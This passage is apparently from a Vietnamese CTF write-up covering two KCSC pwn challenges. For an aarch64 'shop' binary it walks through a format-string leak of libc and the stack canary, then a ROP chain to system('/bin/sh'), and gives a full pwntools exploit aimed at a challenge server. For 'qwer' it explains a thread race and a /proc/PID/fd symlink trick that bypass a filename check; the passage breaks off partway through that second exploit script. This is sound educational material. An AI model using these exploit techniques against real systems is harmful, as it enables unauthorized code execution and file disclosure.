  local_38[<span class="hljs-number">0x28</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0x29</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0x2a</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0x2b</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0x2c</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0x2d</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0x2e</span>] = <span class="hljs-string">'\0'</span>;
  local_38[<span class="hljs-number">0x2f</span>] = <span class="hljs-string">'\0'</span>;
  <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Hello!\nWelcome to KCSC shopping mall"</span>);
  <span class="hljs-built_in">puts</span>(<span class="hljs-string">"What ur name, sir?"</span>);
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"&gt; "</span>);
  read(<span class="hljs-number">0</span>,local_38,<span class="hljs-number">0x38</span>);
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"OK, hi "</span>);
  <span class="hljs-built_in">printf</span>(local_38);
  uVar1 = sleep(<span class="hljs-number">1</span>);
  iVar2 = ask_the_shop_owner(uVar1);
  <span class="hljs-keyword">if</span> (iVar2 == <span class="hljs-number">1</span>) {
    get_date();
  }
  <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (iVar2 == <span class="hljs-number">2</span>) {
    buy_a_gift();
    <span class="hljs-keyword">if</span> (count_gift != <span class="hljs-number">0</span>) {
      feedback();
    }
  }
  <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Ahh, have a good day, sir"</span>);
  <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Bye"</span>);
  <span class="hljs-keyword">if</span> (local_8 != __stack_chk_guard) {
                    <span class="hljs-comment">/* WARNING: Subroutine does not return */</span>
    __stack_chk_fail(<span class="hljs-number">0</span>);
  }
  <span class="hljs-keyword">return</span>;
}
</code></pre>
<ul>
<li><p>Ở dòng 64 có lỗi <code>Format String</code> khi in ra tên</p>
<p>  <img src="https://hackmd.io/_uploads/rkPyRKcD1x.png" alt="Screenshot 2025-01-19 213536" /></p>
</li>
<li><p>Vì là aarch64 nên từ arg thứ 8 mới truyền vào trong stack, nên sẽ dùng <code>%9$p</code> để leak libc và <code>%17$p</code> để leak canary</p>
</li>
<li><p>Tiếp đến có 2 lựa chọn, nếu chọn <code>1</code> chỉ in ra ngày nên bỏ qua</p>
</li>
</ul>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">get_date</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span>

</span>{
  <span class="hljs-keyword">int</span> iVar1;

  iVar1 = system(<span class="hljs-string">"/bin/date"</span>);
  <span class="hljs-keyword">return</span> iVar1;
}
</code></pre>
<ul>
<li>Lựa chọn <code>2</code> thì sẽ được mua hàng và để lại feedback</li>
</ul>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">buy_a_gift</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span>

</span>{
  <span class="hljs-keyword">int</span> iVar1;
  undefined8 local_18;
  undefined8 uStack_10;
  <span class="hljs-keyword">long</span> local_8;

  local_8 = __stack_chk_guard;
  local_18 = <span class="hljs-number">0</span>;
  uStack_10 = <span class="hljs-number">0</span>;
  iVar1 = menu(&amp;local_18,<span class="hljs-number">0</span>);
  <span class="hljs-keyword">if</span> (iVar1 == <span class="hljs-number">1</span>) {
    red_packet();
  }
  <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (iVar1 == <span class="hljs-number">2</span>) {
    red_wine();
  }
  <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (iVar1 != <span class="hljs-number">3</span>) {
    <span class="hljs-built_in">puts</span>(<span class="hljs-string">"I don\'t have that stuff, sir"</span>);
  }
  <span class="hljs-keyword">if</span> (local_8 != __stack_chk_guard) {
                    <span class="hljs-comment">/* WARNING: Subroutine does not return */</span>
    __stack_chk_fail();
  }
  <span class="hljs-keyword">return</span>;
}
</code></pre>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">red_packet</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span>

</span>{
  <span class="hljs-keyword">long</span> local_10;
  <span class="hljs-keyword">long</span> local_8;

  local_8 = __stack_chk_guard;
  <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Oh, red packet is a good choice"</span>);
  <span class="hljs-built_in">puts</span>(<span class="hljs-string">"How much money do you want to put in the red packet?"</span>);
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"&gt; "</span>);
  __isoc99_scanf(&amp;DAT_004012f8,&amp;local_10);
  getchar();
  <span class="hljs-keyword">if</span> (<span class="hljs-number">1000000</span> &lt; local_10) {
    <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Wow, you are so rich"</span>);
    is_VIP = <span class="hljs-number">1</span>;
  }
  <span class="hljs-built_in">puts</span>(<span class="hljs-string">"OK, I\'ll pack it for you"</span>);
  count_gift = count_gift + <span class="hljs-number">1</span>;
  <span class="hljs-keyword">if</span> (local_8 != __stack_chk_guard) {
                    <span class="hljs-comment">/* WARNING: Subroutine does not return */</span>
    __stack_chk_fail();
  }
  <span class="hljs-keyword">return</span>;
}
</code></pre>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">red_wine</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span>

</span>{
  <span class="hljs-keyword">int</span> local_c;
  <span class="hljs-keyword">long</span> local_8;

  local_8 = __stack_chk_guard;
  <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Oh, red wine is a good choice"</span>);
  <span class="hljs-built_in">puts</span>(<span class="hljs-string">"How old do you want the wine to be?"</span>);
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"&gt; "</span>);
  __isoc99_scanf(&amp;DAT_004011f0,&amp;local_c);
  getchar();
  <span class="hljs-keyword">if</span> (<span class="hljs-number">0x32</span> &lt; local_c) {
    <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Wow, you are such a wine connoisseur"</span>);
    is_VIP = <span class="hljs-number">1</span>;
  }
  <span class="hljs-built_in">puts</span>(<span class="hljs-string">"OK, I\'ll pack it for you"</span>);
  count_gift = count_gift + <span class="hljs-number">1</span>;
  <span class="hljs-keyword">if</span> (local_8 != __stack_chk_guard) {
                    <span class="hljs-comment">/* WARNING: Subroutine does not return */</span>
    __stack_chk_fail();
  }
  <span class="hljs-keyword">return</span>;
}
</code></pre>
<ul>
<li>Ở cả 2 sản phẩm thì đều có khả năng kích hoạt VIP</li>
</ul>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">feedback</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span>

</span>{
  <span class="hljs-keyword">char</span> acStack_70 [<span class="hljs-number">104</span>];
  <span class="hljs-keyword">long</span> local_8;

  local_8 = __stack_chk_guard;
  <span class="hljs-built_in">puts</span>(<span class="hljs-string">"I\'m glad to here your feedback:"</span>);
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"&gt; "</span>);
  <span class="hljs-keyword">if</span> (is_VIP == <span class="hljs-string">'\x01'</span>) {
    fgets(acStack_70,<span class="hljs-number">0x100</span>,<span class="hljs-built_in">stdin</span>);
  }
  <span class="hljs-keyword">else</span> {
    read(<span class="hljs-number">0</span>,acStack_70,<span class="hljs-number">0x68</span>);
  }
  <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Hmmm, I\'ll notice that and thanks for ur report"</span>);
  <span class="hljs-keyword">if</span> (local_8 != __stack_chk_guard) {
                    <span class="hljs-comment">/* WARNING: Subroutine does not return */</span>
    __stack_chk_fail();
  }
  <span class="hljs-keyword">return</span>;
}
</code></pre>
<ul>
<li>Khi để lại feedback, nếu là VIP thì sẽ được nhiều lời hơn =&gt; <code>Stack Buffer Overflow</code> =&gt; <code>ROP</code> để thực thi <code>system("/bin/sh")</code></li>
</ul>
<p><strong>Leak canary + libc</strong></p>
<pre><code class="lang-python">sa(<span class="hljs-string">b'&gt; '</span>, <span class="hljs-string">b'%9$p_%17$p'</span>)
ru(<span class="hljs-string">b'OK, hi '</span>)
<span class="hljs-comment"># khi khai thác local thì địa chỉ dài hơn trên server</span>
<span class="hljs-comment"># libc_leak = int(r(14), 16)</span>
libc_leak = int(r(<span class="hljs-number">12</span>), <span class="hljs-number">16</span>)
libc.address = libc_leak - <span class="hljs-number">0x273fc</span>
info(<span class="hljs-string">'[*] libc leak: '</span> + hex(libc_leak))
info(<span class="hljs-string">'[*] libc base: '</span> + hex(libc.address))
ru(<span class="hljs-string">b'_'</span>)
canary = int(r(<span class="hljs-number">18</span>), <span class="hljs-number">16</span>)
info(<span class="hljs-string">'[*] canary: '</span> + hex(canary))
binsh = next(libc.search(<span class="hljs-string">b'/bin/sh\0'</span>))
system = libc.sym[<span class="hljs-string">'system'</span>]
info(<span class="hljs-string">'[*] /bin/sh: '</span> + hex(binsh))
info(<span class="hljs-string">'[*] system: '</span> + hex(system))
</code></pre>
<p><img src="https://hackmd.io/_uploads/HJpJGccvkx.png" alt="image" /></p>
<p><strong>Rop</strong></p>
<ul>
<li>Tiếp đến thì sẽ mua hàng sao cho kích hoạt được VIP</li>
</ul>
<pre><code class="lang-python">slan(<span class="hljs-string">b'mind\n&gt; '</span>, <span class="hljs-number">2</span>)
slan(<span class="hljs-string">b'wine\n&gt; '</span>, <span class="hljs-number">1</span>)
slan(<span class="hljs-string">b' packet?\n&gt; '</span>, <span class="hljs-number">2000000</span>)
</code></pre>
<p><img src="https://hackmd.io/_uploads/H1QbX9qDkx.png" alt="image" /></p>
<ul>
<li><p>Nạp VIP thành công nếu được để lại feedback bằng <code>fgets(acStack_70,0x100,stdin);</code></p>
</li>
<li><p>Tiếp đến là sẽ <a target="_blank" href="https://ad2001.gitbook.io/a-noobs-guide-to-arm-exploitation/rop-chains-on-arm64">ROP</a>. Khác với amd64 (điều khiển saved rip của hàm<code>feedback</code>) thì trong aarch64 sẽ điều khiển được saved rip của hàm gọi hàm <code>feedback</code> (là hàm <code>main</code>)</p>
</li>
<li><p>Sau một lúc tham khảo google và ngồi thử thì kiếm được 2 cái phù hợp</p>
<ul>
<li><p>Chuyển <code>/bin/sh</code> vào <code>x22</code> rồi vào <code>x0</code> là arg đầu tiên</p>
</li>
<li><p>Chuyển <code>system</code> vào <code>x21</code> -&gt; nhảy vào địa chỉ của <code>x21</code> là <code>system</code></p>
</li>
</ul>
</li>
</ul>
<pre><code class="lang-python"><span class="hljs-comment"># ldp x21, x22, [sp, #0x20] ; ldp x19, x20, [sp, #0x10] ; ldp x29, x30, [sp], #0x30 ; ret</span>
gadget1 = libc.address + <span class="hljs-number">0x7b830</span>
<span class="hljs-comment"># mov x0, x22 ; blr x21</span>
gadget2 = libc.address + <span class="hljs-number">0x10f11c</span>
</code></pre>
<ul>
<li>Việc còn lại là vừa chạy thử vừa chỉnh lại payload sao cho nó chạy thôi :))</li>
</ul>
<pre><code class="lang-python">payload = <span class="hljs-string">b'\0'</span>*<span class="hljs-number">104</span> + p64(canary) + p64(<span class="hljs-number">0</span>) + p64(gadget1)
payload += p64(<span class="hljs-number">0</span>)*<span class="hljs-number">7</span> + p64(canary) + p64(<span class="hljs-number">0</span>) + p64(gadget2) + p64(<span class="hljs-number">0</span>)*<span class="hljs-number">2</span>
payload += p64(system) + p64(binsh)
sla(<span class="hljs-string">b'feedback:\n&gt; '</span>, payload)
</code></pre>
<blockquote>
<p>KCSC{0ops_TvT_1_cl4im3d_th4t_y0U_4r3_n0t_4_n00b}</p>
</blockquote>
<p><strong>Full script</strong></p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/python3</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

context.binary = exe = ELF(<span class="hljs-string">'./shop_patched'</span>, checksec=<span class="hljs-literal">False</span>)
libc = ELF(<span class="hljs-string">'./libc.so.6'</span>, checksec=<span class="hljs-literal">False</span>)

info = <span class="hljs-keyword">lambda</span> msg: log.info(msg)
sla = <span class="hljs-keyword">lambda</span> msg, data: p.sendlineafter(msg, data)
sa = <span class="hljs-keyword">lambda</span> msg, data: p.sendafter(msg, data)
sl = <span class="hljs-keyword">lambda</span> data: p.sendline(data)
s = <span class="hljs-keyword">lambda</span> data: p.send(data)
slan = <span class="hljs-keyword">lambda</span> msg, num: sla(msg, str(num).encode())
san = <span class="hljs-keyword">lambda</span> msg, num: sa(msg, str(num).encode())
sln = <span class="hljs-keyword">lambda</span> num: sl(str(num).encode())
sn = <span class="hljs-keyword">lambda</span> num: s(str(num).encode())
r = <span class="hljs-keyword">lambda</span> nbytes: p.recv(nbytes)
ru = <span class="hljs-keyword">lambda</span> data: p.recvuntil(data)
rl = <span class="hljs-keyword">lambda</span> : p.recvline()

<span class="hljs-keyword">if</span> args.REMOTE:
    conn = <span class="hljs-string">'nc 36.50.177.41 50005'</span>.split()
    p = remote(conn[<span class="hljs-number">1</span>], int(conn[<span class="hljs-number">2</span>]))
<span class="hljs-keyword">else</span>:
    p = process([<span class="hljs-string">'qemu-aarch64'</span>, <span class="hljs-string">'-g'</span> ,<span class="hljs-string">'1111'</span> ,<span class="hljs-string">'./shop_patched'</span>])
    context.log_level = <span class="hljs-string">'debug'</span> 
    raw_input(<span class="hljs-string">'Debug'</span>)

sa(<span class="hljs-string">b'&gt; '</span>, <span class="hljs-string">b'%9$p_%17$p'</span>)
ru(<span class="hljs-string">b'OK, hi '</span>)
libc_leak = int(r(<span class="hljs-number">12</span>), <span class="hljs-number">16</span>)
libc.address = libc_leak - <span class="hljs-number">0x273fc</span>
info(<span class="hljs-string">'[*] libc leak: '</span> + hex(libc_leak))
info(<span class="hljs-string">'[*] libc base: '</span> + hex(libc.address))
ru(<span class="hljs-string">b'_'</span>)
canary = int(r(<span class="hljs-number">18</span>), <span class="hljs-number">16</span>)
info(<span class="hljs-string">'[*] canary: '</span> + hex(canary))
binsh = next(libc.search(<span class="hljs-string">b'/bin/sh\0'</span>))
system = libc.sym[<span class="hljs-string">'system'</span>]
info(<span class="hljs-string">'[*] /bin/sh: '</span> + hex(binsh))
info(<span class="hljs-string">'[*] system: '</span> + hex(system))

slan(<span class="hljs-string">b'mind\n&gt; '</span>, <span class="hljs-number">2</span>)
slan(<span class="hljs-string">b'wine\n&gt; '</span>, <span class="hljs-number">1</span>)
slan(<span class="hljs-string">b' packet?\n&gt; '</span>, <span class="hljs-number">2000000</span>)

<span class="hljs-comment"># ldp x21, x22, [sp, #0x20] ; ldp x19, x20, [sp, #0x10] ; ldp x29, x30, [sp], #0x30 ; ret</span>
gadget1 = libc.address + <span class="hljs-number">0x7b830</span>
<span class="hljs-comment"># mov x0, x22 ; blr x21</span>
gadget2 = libc.address + <span class="hljs-number">0x10f11c</span>

payload = <span class="hljs-string">b'\0'</span>*<span class="hljs-number">104</span> + p64(canary) + p64(<span class="hljs-number">0</span>) + p64(gadget1)
payload += p64(<span class="hljs-number">0</span>)*<span class="hljs-number">7</span> + p64(canary) + p64(<span class="hljs-number">0</span>) + p64(gadget2) + p64(<span class="hljs-number">0</span>)*<span class="hljs-number">2</span>
payload += p64(system) + p64(binsh)
sla(<span class="hljs-string">b'feedback:\n&gt; '</span>, payload)

p.interactive()
</code></pre>
<h3 id="heading-qwer">qwer</h3>
<p><strong>Phân tích</strong></p>
<p><img src="https://hackmd.io/_uploads/r1LfLm-_Jg.png" alt="Screenshot 2025-01-24 213902" /></p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">setup</span><span class="hljs-params">()</span>
</span>{
  <span class="hljs-keyword">int</span> result; <span class="hljs-comment">// eax</span>

  setvbuf(<span class="hljs-built_in">stdin</span>, <span class="hljs-number">0L</span>L, <span class="hljs-number">2</span>, <span class="hljs-number">0L</span>L);
  setvbuf(<span class="hljs-built_in">stdout</span>, <span class="hljs-number">0L</span>L, <span class="hljs-number">2</span>, <span class="hljs-number">0L</span>L);
  setvbuf(<span class="hljs-built_in">stderr</span>, <span class="hljs-number">0L</span>L, <span class="hljs-number">2</span>, <span class="hljs-number">0L</span>L);
  result = pipe(fd);
  <span class="hljs-keyword">if</span> ( result &lt; <span class="hljs-number">0</span> )
    <span class="hljs-built_in">exit</span>(<span class="hljs-number">-1</span>);
  <span class="hljs-keyword">return</span> result;
}
</code></pre>
<ul>
<li><p>Hàm <code>setup()</code> tạo ra một pipe và lưu vào trong biến fd</p>
<p>  <img src="https://hackmd.io/_uploads/By4lO7W_kg.png" alt="Screenshot 2025-01-24 214654" /></p>
<p>  <img src="https://hackmd.io/_uploads/BJ6Lu7WdJl.png" alt="Screenshot 2025-01-24 214842" /></p>
</li>
</ul>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">void</span> __fastcall __noreturn <span class="hljs-title">main</span><span class="hljs-params">(__int64 a1, <span class="hljs-keyword">char</span> **a2, <span class="hljs-keyword">char</span> **a3)</span>
</span>{
  <span class="hljs-keyword">pthread_t</span> newthread; <span class="hljs-comment">// [rsp+8h] [rbp-228h] BYREF</span>
  <span class="hljs-keyword">char</span> buf; <span class="hljs-comment">// [rsp+10h] [rbp-220h] BYREF</span>
  __int64 v5; <span class="hljs-comment">// [rsp+11h] [rbp-21Fh]</span>
  __int64 v6; <span class="hljs-comment">// [rsp+19h] [rbp-217h]</span>
  __int64 v7; <span class="hljs-comment">// [rsp+21h] [rbp-20Fh]</span>
  __int64 v8; <span class="hljs-comment">// [rsp+29h] [rbp-207h]</span>
  __int64 v9; <span class="hljs-comment">// [rsp+31h] [rbp-1FFh]</span>
  __int64 v10; <span class="hljs-comment">// [rsp+39h] [rbp-1F7h]</span>
  __int64 v11; <span class="hljs-comment">// [rsp+41h] [rbp-1EFh]</span>
  __int64 v12; <span class="hljs-comment">// [rsp+49h] [rbp-1E7h]</span>
  __int64 v13; <span class="hljs-comment">// [rsp+51h] [rbp-1DFh]</span>
  __int64 v14; <span class="hljs-comment">// [rsp+59h] [rbp-1D7h]</span>
  __int64 v15; <span class="hljs-comment">// [rsp+61h] [rbp-1CFh]</span>
  __int64 v16; <span class="hljs-comment">// [rsp+69h] [rbp-1C7h]</span>
  __int64 v17; <span class="hljs-comment">// [rsp+71h] [rbp-1BFh]</span>
  __int64 v18; <span class="hljs-comment">// [rsp+79h] [rbp-1B7h]</span>
  __int64 v19; <span class="hljs-comment">// [rsp+81h] [rbp-1AFh]</span>
  __int64 v20; <span class="hljs-comment">// [rsp+89h] [rbp-1A7h]</span>
  __int64 v21; <span class="hljs-comment">// [rsp+91h] [rbp-19Fh]</span>
  __int64 v22; <span class="hljs-comment">// [rsp+99h] [rbp-197h]</span>
  __int64 v23; <span class="hljs-comment">// [rsp+A1h] [rbp-18Fh]</span>
  __int64 v24; <span class="hljs-comment">// [rsp+A9h] [rbp-187h]</span>
  __int64 v25; <span class="hljs-comment">// [rsp+B1h] [rbp-17Fh]</span>
  __int64 v26; <span class="hljs-comment">// [rsp+B9h] [rbp-177h]</span>
  __int64 v27; <span class="hljs-comment">// [rsp+C1h] [rbp-16Fh]</span>
  __int64 v28; <span class="hljs-comment">// [rsp+C9h] [rbp-167h]</span>
  __int64 v29; <span class="hljs-comment">// [rsp+D1h] [rbp-15Fh]</span>
  __int64 v30; <span class="hljs-comment">// [rsp+D9h] [rbp-157h]</span>
  __int64 v31; <span class="hljs-comment">// [rsp+E1h] [rbp-14Fh]</span>
  __int64 v32; <span class="hljs-comment">// [rsp+E9h] [rbp-147h]</span>
  __int64 v33; <span class="hljs-comment">// [rsp+F1h] [rbp-13Fh]</span>
  __int64 v34; <span class="hljs-comment">// [rsp+F9h] [rbp-137h]</span>
  __int64 v35; <span class="hljs-comment">// [rsp+101h] [rbp-12Fh]</span>
  __int64 v36; <span class="hljs-comment">// [rsp+109h] [rbp-127h]</span>
  <span class="hljs-keyword">unsigned</span> __int64 v37; <span class="hljs-comment">// [rsp+218h] [rbp-18h]</span>

  v37 = __readfsqword(<span class="hljs-number">0x28</span>u);
  setup(a1, a2, a3);
  pthread_create(&amp;newthread, <span class="hljs-number">0L</span>L, start_routine, <span class="hljs-number">0L</span>L);
  <span class="hljs-keyword">while</span> ( <span class="hljs-number">1</span> )
  {
    read(<span class="hljs-number">0</span>, &amp;buf, <span class="hljs-number">0x200</span>uLL);
    <span class="hljs-keyword">if</span> ( buf == <span class="hljs-number">1</span> )
    {
      *(_QWORD *)haystack = v5;
      qword_4068 = v6;
      qword_4070 = v7;
      qword_4078 = v8;
      qword_4080 = v9;
      qword_4088 = v10;
      qword_4090 = v11;
      qword_4098 = v12;
      qword_40A0 = v13;
      qword_40A8 = v14;
      qword_40B0 = v15;
      qword_40B8 = v16;
      qword_40C0 = v17;
      qword_40C8 = v18;
      qword_40D0 = v19;
      qword_40D8 = v20;
      qword_40E0 = v21;
      qword_40E8 = v22;
      qword_40F0 = v23;
      qword_40F8 = v24;
      qword_4100 = v25;
      qword_4108 = v26;
      qword_4110 = v27;
      qword_4118 = v28;
      qword_4120 = v29;
      qword_4128 = v30;
      qword_4130 = v31;
      qword_4138 = v32;
      qword_4140 = v33;
      qword_4148 = v34;
      qword_4150 = v35;
      qword_4158 = v36;
    }
    <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> ( buf == <span class="hljs-number">2</span> )
    {
      write(dword_4164, &amp;buf, <span class="hljs-number">1u</span>LL);
    }
  }
}
</code></pre>
<ul>
<li>Hàm <code>pthread_create()</code> tạo một thread mới và chạy hàm <code>start_routine</code> song song với hàm <code>main()</code> ở thread đầu</li>
</ul>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">void</span> __fastcall __noreturn <span class="hljs-title">start_routine</span><span class="hljs-params">(<span class="hljs-keyword">void</span> *a1)</span>
</span>{
  <span class="hljs-keyword">char</span> buf; <span class="hljs-comment">// [rsp+7h] [rbp-419h] BYREF</span>
  <span class="hljs-keyword">int</span> fd; <span class="hljs-comment">// [rsp+8h] [rbp-418h]</span>
  <span class="hljs-keyword">int</span> v3; <span class="hljs-comment">// [rsp+Ch] [rbp-414h]</span>
  _BYTE v4[<span class="hljs-number">1032</span>]; <span class="hljs-comment">// [rsp+10h] [rbp-410h] BYREF</span>
  <span class="hljs-keyword">unsigned</span> __int64 v5; <span class="hljs-comment">// [rsp+418h] [rbp-8h]</span>

  v5 = __readfsqword(<span class="hljs-number">0x28</span>u);
  <span class="hljs-keyword">while</span> ( <span class="hljs-number">1</span> )
  {
    <span class="hljs-function"><span class="hljs-keyword">do</span>
      <span class="hljs-title">read</span><span class="hljs-params">(::fd[<span class="hljs-number">0</span>], &amp;buf, <span class="hljs-number">1u</span>LL)</span></span>;
    <span class="hljs-keyword">while</span> ( (<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span>)check(haystack) );
    fd = open(haystack, <span class="hljs-number">0</span>);
    <span class="hljs-keyword">if</span> ( fd &gt;= <span class="hljs-number">0</span> &amp;&amp; !<span class="hljs-built_in">strstr</span>(haystack, <span class="hljs-string">"flag"</span>) )
    {
      v3 = read(fd, v4, <span class="hljs-number">0x400</span>uLL);
      <span class="hljs-keyword">if</span> ( v3 &gt;= <span class="hljs-number">0</span> )
      {
        write(<span class="hljs-number">1</span>, v4, v3);
        close(fd);
      }
    }
  }
}
</code></pre>
<ul>
<li><p>Có thể thấy ở hàm <code>main</code>, dùng <code>read()</code> để nhập vào <code>buf</code> và các biến đằng sau đó:</p>
<ul>
<li><p>Nếu buf = 0x01 thì sẽ copy các 0x100 byte đằng sau <code>buf</code> để lưu vào mảng <code>haystack</code></p>
</li>
<li><p>Nếu buf = 0x02 thì sẽ gửi 1 byte đến hàm <code>start_routine</code> thông qua pipe đã tạo ở <code>setup</code> -&gt; hàm <code>start_routine</code> sẽ chỉ chạy tiếp nếu buf = 0x02 (nếu không sẽ dừng lại ở đoạn <code>read</code>)</p>
</li>
</ul>
</li>
</ul>
<pre><code class="lang-c"><span class="hljs-function">__int64 __fastcall <span class="hljs-title">check</span><span class="hljs-params">(__int64 a1)</span>
</span>{
  <span class="hljs-keyword">unsigned</span> __int8 i; <span class="hljs-comment">// [rsp+17h] [rbp-1h]</span>

  <span class="hljs-keyword">for</span> ( i = <span class="hljs-number">0</span>; *(_BYTE *)(i + a1); ++i )
  {
    <span class="hljs-keyword">if</span> ( *(_BYTE *)(i + a1) == <span class="hljs-string">'f'</span>
      &amp;&amp; *(_BYTE *)(i + <span class="hljs-number">1L</span>L + a1) == <span class="hljs-string">'l'</span>
      &amp;&amp; *(_BYTE *)(i + <span class="hljs-number">2L</span>L + a1) == <span class="hljs-string">'a'</span>
      &amp;&amp; *(_BYTE *)(i + <span class="hljs-number">3L</span>L + a1) == <span class="hljs-string">'g'</span> )
    {
      <span class="hljs-keyword">return</span> <span class="hljs-number">1L</span>L;
    }
  }
  <span class="hljs-keyword">return</span> <span class="hljs-number">0L</span>L;
}
</code></pre>
<ul>
<li><p>Hàm <code>check</code> sẽ kiêm tra xem mảng <code>haystack</code> có cụm <code>flag</code> nào không nếu không thì có thể mở được file với đường dẫn được viết trong mảng <code>haystack</code></p>
</li>
<li><p>Sau khi mở được file thì lại kiểm tra một lần check <code>flag</code> nữa, nếu qua được thì sẽ in nội dung file ra và đóng file</p>
</li>
</ul>
<p><strong>Khai thác</strong></p>
<ul>
<li><p>Để ý rằng mảng <code>haystack</code> có 0x100 (256) byte, và ở hàm <code>check</code> thì vòng lặp for chạy với biến i với kiểu <code>unsigned __int8</code> (0-255) =&gt; nếu viết đủ 0x100 vào mảng <code>haystack</code> (không có <code>flag</code> và <code>0x00</code>) thì vòng lặp này sẽ loop vô hạn</p>
</li>
<li><p>Vì ở hai thread khác nhau và chạy song song nên khi vòng lặp này loop vô hạn ở hàm <code>start_routine</code>, ở hàm main ta sẽ gửi <code>0x01</code>+<code>/flag</code> (và padding NULL đủ 0x100 byte) thì mảng <code>haystack</code> sẽ được sửa lại và khả năng cao vòng lặp vô hạn sẽ gặp phải byte NULL và sẽ trả về 0 (bypass được hàm <code>check</code>) (có 2/256 tỷ lệ thất bại nếu đen lắm lúc sửa lại mảng <code>haystack</code> thì vòng for đang kiểm tra đúng byte <code>/</code> hoặc <code>f</code>)</p>
</li>
<li><p>Lúc này ta có thể open được file <code>/flag</code> tuy nhiên sẽ không thể đọc được nội dung của file và sẽ không đóng file đó lại</p>
</li>
<li><p>Có một <a target="_blank" href="https://www.youtube.com/watch?v=1hScemFvnzw&amp;t=1s">trick</a> (được hint từ anh mentor) giúp ta bypass được lần check thứ 2</p>
</li>
<li><p>Nôm na là khi mở một file, giả sử được trả về file descriptor là <code>n</code> thì tức là tạo một symlink <code>/proc/&lt;PID&gt;/fd/n</code> -&gt; <code>/flag</code>, khi đọc file <code>/proc/&lt;PID&gt;/fd/n</code> thì cũng chính là đọc file <code>/flag</code></p>
<p>  <img src="https://hackmd.io/_uploads/HJEea7ZdJl.png" alt="Screenshot 2025-01-24 220816" /></p>
</li>
<li><p>Vậy ở hàm main ta chỉ cần gửi <code>/proc/&lt;PID&gt;/fd/n</code> là có thể bypass được 2 lần check và đọc được file <code>/flag</code></p>
</li>
</ul>
<blockquote>
<p>Lưu ý là ở trên local thì file descriptor là 5 nhưng trên server là 8 (debug trên Docker để biết)</p>
<p>KCSC{JOahandA_n3OrEu1_Joah4ndA_j0@hAe_neOr3Ul_m4n!_m4nI_jO4HandaN_MaR1Y4_83oKch@OREUd@_mO7hA3_nAE_mam1_KUK-KUk_Ary30w4_Du_83oNeUn_MAl_M07_H@3_n3o_J!g3um_JaL_D3UR3o8W@_m4eI1_9OM!NHA9o_Y3oN$EupaETDeOn_M4l_jO4h4E}</p>
</blockquote>
<p><strong>Full script</strong></p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/python3</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
context.binary = exe = ELF(<span class="hljs-string">'./qwer'</span>, checksec=<span class="hljs-literal">False</span>)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_exe_base</span>(<span class="hljs-params">pid</span>):</span>
    maps_file = <span class="hljs-string">f"/proc/<span class="hljs-subst">{pid}</span>/maps"</span>
    exe_base = <span class="hljs-literal">None</span>
    <span class="hljs-keyword">with</span> open(maps_file, <span class="hljs-string">'r'</span>) <span class="hljs-keyword">as</span> f:
        exe_base = int(f.readline().split(<span class="hljs-string">'-'</span>)[<span class="hljs-number">0</span>], <span class="hljs-number">16</span>)
    <span class="hljs-keyword">if</span> exe_base <span class="hljs-keyword">is</span> <span class="hljs-literal">None</span>:
        <span class="hljs-keyword">raise</span> Exception(<span class="hljs-string">"Executable base address not found."</span>)
    <span class="hljs-keyword">return</span> exe_base
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">GDB</span>():</span>
    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> args.REMOTE:
        gdb.attach(p, gdbscript=<span class="hljs-string">f'''
            b*<span class="hljs-subst">{base+<span class="hljs-number">0x1395</span>}</span>
            b*<span class="hljs-subst">{base+<span class="hljs-number">0x1696</span>}</span>
            b*<span class="hljs-subst">{base+<span class="hljs-number">0x1303</span>}</span>
            c
            '''</span>)
<span class="hljs-keyword">if</span> args.REMOTE:
    conn = <span class="hljs-string">'nc 36.50.177.41 50009'</span>.split()
    p = remote(conn[<span class="hljs-number">1</span>], int(conn[<span class="hljs-number">2</span>]))
<span class="hljs-keyword">else</span>:
    p = process(exe.path)
